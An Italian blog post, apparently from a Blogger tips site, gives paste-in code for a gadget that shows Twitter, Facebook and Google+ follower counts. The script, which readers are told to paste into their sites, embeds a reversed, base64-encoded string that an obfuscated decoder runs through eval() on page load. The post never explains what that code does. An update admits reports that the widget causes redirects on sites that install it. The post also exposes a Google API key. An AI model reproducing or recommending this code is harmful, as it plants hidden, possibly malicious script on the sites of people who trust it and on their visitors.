Contatore per i follower di Twitter, di Facebook e di Google+.

Come mostrare un contatore per Twitter, per la pagina fan di Facebook e la pagina brand di di Google Plus.

Esistono diversi widget ufficiali che mostrano tra le altre cose il numero dei sottoscrittori di un account Twitter, di una pagina Facebook o di una pagina brand di Google+. Ho trovato in rete un codice molto interessante per mostrare questi dati in un solo piccolo gadget per risparmiare spazio. Non sono in grado con certezza di dire di chi sia la paternità originale di questo widget ma dal tipo di termini usati penso sia stato realizzato in Malaysia e che derivi direttamente dall'Arqam - Retina Responsive WP Social Counter Plugin. In questo codice c'è anche una key di Google+ che implica come uno sviluppatore abbia e ottenuto l'accesso alle API di Google. Tale Google Key l'ho sostituita con la mia come da questa procedura. Nel momento in cui utilizzate il gadget potete sostituire la mia key con la vostra oppure lasciarla così com'è.

Questo widget funziona solo con le pagine Facebook e con le pagine Google+ e non con i Profili.

L'installazione è semplicissima visto che basta andare su Layout > Aggiungi un gadget > HTML/Javascript e incollare in Sezioni del sito il seguente codice

<div align="center"><div style="width:300px;">
<div class="arqam-widget-counter arq-flat arq-col3">
<ul>
<li class="arq-facebook">
<a href="http://www.facebook.com/ideepercomputeredinternet" target="_blank" rel="nofollow">
<i class="arqicon-facebook"></i>
<span class="share__count"></span>
<small>Follower</small>
</a>
</li>
<li class="arq-twitter">
<a href="http://twitter.com/parsifal32" target="_blank" rel="nofollow">
<i class="arqicon-twitter"></i>
<span class="tshare__count"></span>
<small>Follower</small>
</a>
</li>
<li class="arq-google">
<a href="https://plus.google.com/+ideepercomputeredinternet" target="_blank" rel="nofollow">
<i class="arqicon-gplus"></i>
<span class="gshare__count"></span>
<small>Follower</small>
</a>
</li>
</ul>
</div>
<script src='http://code.jquery.com/jquery-latest.js' type='text/javascript'></script>
<link href='https://googledrive.com/host/0B0LTexRNPYFjQTRiV290Umo4bm8/arqam.css' rel='stylesheet' type='text/css' />
<script type="text/javascript">
var f_page = 'ideepercomputeredinternet';
var t_page = 'parsifal32';
var g_page = '+ideepercomputeredinternet';
var g_key = 'AIzaSyADwwiiD0Qcm1Gu04pZWkDp7J62HH8jHxk';
var I1l='==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kCMwkEKkxWaoNEZuVGcwFmLwAzTKsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIwAzTgIXY2pwOpwkUV5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0DbyVnJnsSKyVmcyVmZlJnL05WZtV3YvRGK05WZu9Gct92QJJVVlR2bj5WZrcSPmVmcmcyKns2b9MmczRXZn9zLt92YuUGdhN2c1ZmYvlXbukGch9yL6AHd0h2Jg0DIjJ3cuADMJpwOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ACMwkEIyFmd7cSRzUCdwlmcjN3LDNTJCNTJ5ITJEdTJBBTJwITJwITJCNTJ5ITJEdTJBBTJCNTJ5ITJ05WdvN2XfVmchh2cnhjMlwWb0hmL5ITJ3ITJ05WdvN2XfVmchh2cn5yNyUCOyUCNyUSQwUiQzUCR1UyNyUCduV3bDVmbPNXdsB3NyUiQ1USY0FGZwITJENTJwITJ05WdvN2XfVmchh2cnFEMlI0NlAjMlkjMlEGdhRGOyUibvlGdj5WdmBjMlMkMlcjMlY0MlQ0Mls2YhJGbsF2Y2ITJ3ITJrkXZr91ZrcjMlQ0MlkXZrZ0MlcjMlsSZnFGcfd2K3ITJvUGbw9WZw9SM29yc1xGcv02bj5ycpBXYlx2Zv92Zuc3d39yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0MlkjMlQ0NlEEMlI0MlkjMlQnb192Yf9VZyFGazRHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGazRnL3ITJ4ITJ0ITJBBTJCNTJEVTJ3ITJ05WdvN2XzJXZ39Gbs9mZ3ITJCVTJhRXYkBjMlQ0MlAjMlQnb192Yf9VZyFGazRXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZjMlcjMlsSZnFGcfR3K3ITJENTJl1WYu9lblVmcjNnRzUibvNnauc3boN3LzJXZzV3Lx8SbvNmLyVGd0l2d05SawFmLuR2Yv8SQzUCc0RHa3ITJ4ITJO90UKRXZn5CNyUSQwUiQzUSOyUCR3USQwUiQzUSOyUCduV3bj91XlJXYoNHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGaz5yNyUCOyUCNyUSQwUiQzUCR1UyNyUycltWasdjMlIUNlEGdhRGMyUCRzUCMyUCduV3bj91XlJXYoNHMyUichZXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZ0MlcjMlsSZnFGcfZ2K3ITJv02bj5yav9mYlNWYm5CawFmcn9yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0NlkjMlgjMl42bpR3YuVnZ4ITJ5RWYlJnL5ITJ05WZtV3YvRGOyUCNyUSRzUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';var _0x84de=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _0Ol(data){var OOIlOI=_0x84de[0];var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc=_0x84de[1];do{h1=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h2=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h3=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h4=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String[_0x84de[4]](o1);} else {if(h4==64){enc+=String[_0x84de[4]](o1,o2);} else {enc+=String[_0x84de[4]](o1,o2,o3);} ;} ;} while(i<data[_0x84de[5]]);;return enc;} ;function OOI(string){var ret=_0x84de[1],i=0;for(i=string[_0x84de[5]]-1;i>=0;i--){ret+=string[_0x84de[2]](i);} ;return ret;} ;eval(_0Ol(OOI(I1l)));
</script>
</div>
</div>

Si salva e si posiziona il gadget con il trascinamento del cursore. Le personalizzazioni riguardano gli indirizzi delle pagine e dell'account Twitter oltre alla loro parte finale da inserire nel javascript. È stata colorata di viola la key per le API di Google+ mentre si può intervenire su center e 300px per modificare il posizionamento e la larghezza del gadget. Le immagini delle icone sono state inserite con il sistema Base64 quindi non occorre caricare nulla su Picasa.

Aggiornamento: Sono stato informato che questo widget avrebbe provocato dai redirect nelle pagine in cui è stato installato. Nei miei test non ho notato nessun comportamento di questo genere. Nel caso in cui nel vostro sito ponesse dei problemi ovviamente la scelta più saggia è quella di rimuoverlo.